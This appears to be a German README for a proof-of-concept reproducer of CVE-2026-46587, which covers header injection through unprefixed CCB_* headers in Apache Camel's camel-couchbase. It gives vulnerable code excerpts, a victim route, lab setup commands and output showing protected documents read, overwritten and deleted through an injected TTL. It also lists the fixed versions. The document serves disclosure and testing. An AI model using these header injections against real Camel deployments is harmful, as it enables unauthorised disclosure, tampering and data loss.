
Reproducer für CVE-2026-46587: Apache Camel camel-couchbase CCB_* Header-Injection, die Dokumentoffenlegung, -manipulation und TTL-erzwungene Datenzerstörung ermöglicht (behoben in 4.14.8/4.18.3/4.21.0)
CCB_* Header-Injection-Reproducer (CVE-2026-46587)Dieses Projekt demonstriert eine Message-Header-Injection in der Apache-Camel-Komponente camel-couchbase, die als CVE-2026-46587 verfolgt wird. Die Komponente liest mehrere Exchange-Header, um ihr Verhalten zu steuern — CCB_KEY (Dokumentschlüssel), CCB_ID (Dokument-ID), CCB_TTL (Dokumentablauf), CCB_DDN (Name des Entwurfsdokuments) und CCB_VN (Ansichtsname). Die Zeichenfolgenwerte dieser Header-Konstanten (definiert in CouchbaseConstants) sind einfache, unpräfixierte Namen, und nicht die Camel-präfixierten Namen, die jede andere Komponente verwendet (z.B. CamelSqlQuery). Camels eingehender HttpHeaderFilterStrategy blockiert nur Header-Namen, die mit Camel / camel beginnen, sodass diese Namen unverändert durch den eingehenden Filter gelangen. Wenn eine Route einen HTTP-Einstiegspunkt (z.B. platform-http) vor einem Couchbase-Producer bereitstellt, kann ein nicht vertrauenswürdiger HTTP-Client diese Header direkt setzen und die vom Routenautor konfigurierte Dokument-ID, TTL, den Namen des Entwurfsdokuments oder den Ansichtsnamen überschreiben.
Dieser PoC zeigt drei verschiedene Auswirkungen des einen Fehlers:
CCB_ID liest ein Dokument außerhalb des Bereichs des Aufrufers.CCB_ID bei einem Schreibvorgang überschreibt ein geschütztes Dokument.CCB_TTL=1 zwingt das eigene Dokument des Aufrufers zur stillen Selbstzerstörung.Advisory: https://camel.apache.org/security/CVE-2026-46587.html
| Eigenschaft | Wert |
|---|---|
| Komponente | camel-couchbase |
| Betroffene Klasse | org.apache.camel.component.couchbase.CouchbaseProducer liest CouchbaseConstants.HEADER_ID ("CCB_ID"), HEADER_TTL ("CCB_TTL") usw. |
| CWE | CWE-20: Unzureichende Eingabevalidierung |
| Auswirkung | Ein HTTP-Client setzt CCB_*-Header → überschreibt Dokument-ID / TTL / Entwurfsdokument / Ansicht → Offenlegung, Manipulation, Datenverlust |
| Voraussetzungen | Eine Route stellt einen Couchbase-Producer hinter einem HTTP-Consumer (z.B. platform-http) bereit; nicht authentifiziert, wenn der Consumer es ist |
| Betroffene Versionen | Von 4.0.0 vor 4.14.8, von 4.15.0 vor 4.18.3, von 4.19.0 vor 4.21.0 |
| Behobene Versionen | 4.14.8, 4.18.3, 4.21.0 |
| Behebung | PR apache/camel#23228 (main), zurückportiert über #23230 (4.18.x) / #23231 (4.14.x) |
| Danksagung | Yu Bao (PayPal) |
Dieselbe Header-Injection-Familie wie CVE-2025-27636, CVE-2026-40453, CVE-2026-46453 und CVE-2026-47323. Der Fix teilt sich seinen PR mit dem Schwester-Advisory CVE-2026-46588 (camel-couchdb).
// CouchbaseConstants (affected 4.18.2) — the header names are bare, un-prefixed strings:
String HEADER_ID = "CCB_ID";
String HEADER_TTL = "CCB_TTL";
// CouchbaseProducer.process (affected 4.18.2) — the id and expiry come straight from those headers:
String id = headers.containsKey(HEADER_ID) ? exchange.getIn().getHeader(HEADER_ID, String.class) : endpoint.getId();
int ttl = headers.containsKey(HEADER_TTL) ? Integer.parseInt(exchange.getIn().getHeader(HEADER_TTL, String.class)) : DEFAULT_TTL;
// ... setDocument(collection, id, ttl, body, ...) / getDocument(collection, id, ...) / removeDocument(...)
Der Fix (4.14.8 / 4.18.3 / 4.21.0) benennt die Werte der Header gemäß der Camel-Konvention um — CCB_ID → CamelCouchbaseId, CCB_TTL → CamelCouchbaseTtl, CCB_KEY → CamelCouchbaseKey, CCB_DDN → CamelCouchbaseDesignDocumentName, CCB_VN → CamelCouchbaseViewName — sodass sie vom eingehenden HttpHeaderFilterStrategy blockiert werden, wie jeder andere Camel-Steuerungsheader. Die Java-Konstanten-Feldnamen bleiben unverändert.
from("platform-http:/save") // and /fetch
.removeHeaders("Camel*") // documented hardening — see below
.choice().when(header("CCB_ID").isNull())
.setHeader("CCB_ID", constant("user-draft")) // default to the caller's own document
.end()
.to("couchbase:couchbase://<host>:8091?bucket=mybucket&username=..&password=..&operation=CCB_PUT");
Die Route setzt die Dokument-ID standardmäßig auf den eigenen Entwurf des Aufrufers und entfernt, wie dokumentierte Härtung, den Camel-Steuerungsheader-Namespace am Rand. Das hilft nicht: Die Überschreibungs-Header heißen CCB_ID / CCB_TTL, nicht CamelCouchbaseId / CamelCouchbaseTtl, daher werden sie weder von removeHeaders("Camel*") noch vom integrierten HTTP-Header-Filter entfernt — und der Producer beachtet sie.
Die Datenbank wird mit zwei Dokumenten initialisiert: user-draft (das eigene des Aufrufers) und system-config (ein sensibles Dokument, das der Endpunkt niemals offenlegen darf).
CVE-2026-46587/
├── pom.xml # camel-platform-http + camel-couchbase 4.18.2
├── Dockerfile
├── docker-compose.yml # couchbase 7.6 (community) + one-shot provisioner + the app
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CouchbaseSettings.java # host / bucket / creds / document ids
│ ├── CouchbaseHarness.java # SDK harness: seeds + reads docs for verification
│ ├── VictimRoute.java # platform-http:/save and /fetch -> couchbase producer
│ └── ExploitController.java # attacker: HTTP requests with injected CCB_ID / CCB_TTL headers
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build # couchbase -> provisioner -> app (first start pulls ~1.7GB)
# wait for the app log line "Started Application", then:
curl -s http://localhost:8080/exploit/attack
docker compose down -v
Die Compose-Datei initialisiert einen Couchbase-Cluster mit einem Knoten (nur KV), erstellt den Bucket
mybucketund einenappuserund startet dann die App. Ein gepunkteter Netzwerk-Alias (couchbase.cve.local) wird als Knoten-Hostname verwendet, da Couchbase kurze Hostnamen ablehnt.
initial DB state (read straight from Couchbase):
user-draft = empty-draft
system-config = PROTECTED-ORIGINAL-CONFIG
=== 1) Legitimate fetch (no CCB_ID) — the caller's own draft ===
empty-draft
=== 2) Injected fetch (CCB_ID=system-config) — reads a protected document ===
PROTECTED-ORIGINAL-CONFIG
read-override / disclosure: true
=== 3) Legitimate save (no CCB_ID) — writes only the caller's own draft ===
system-config = PROTECTED-ORIGINAL-CONFIG (unchanged)
=== 4) Injected save (CCB_ID=system-config) — overwrites a protected document ===
system-config = ATTACKER-OVERWRITE-PAYLOAD
write-override / tampering: true
=== 5) Injected save (CCB_TTL=1) — forces the caller's own document to self-destruct ===
user-draft immediately after save: important quarterly data the user just saved
user-draft ~2.5s later: <not found: DocumentNotFoundException>
ttl-injection / data loss: true
>>> Header-injection proof — an unauthenticated HTTP client controlled the Couchbase operation
>>> via CCB_* headers: read a protected doc (true), overwrote it (true), and destroyed data with a forced TTL (true).
Jede Route mit einem Couchbase-Producer, der von einem HTTP-Consumer aus erreichbar ist. Injizierbare Header: CCB_ID / CCB_KEY (Dokument-ID/Schlüssel → Lesen, Überschreiben oder Löschen beliebiger Dokumente), CCB_TTL (erzwungener Ablauf → Datenverlust) und auf der Consumer-Seite CCB_DDN / CCB_VN (Name des Entwurfsdokuments und Ansichtsnamen).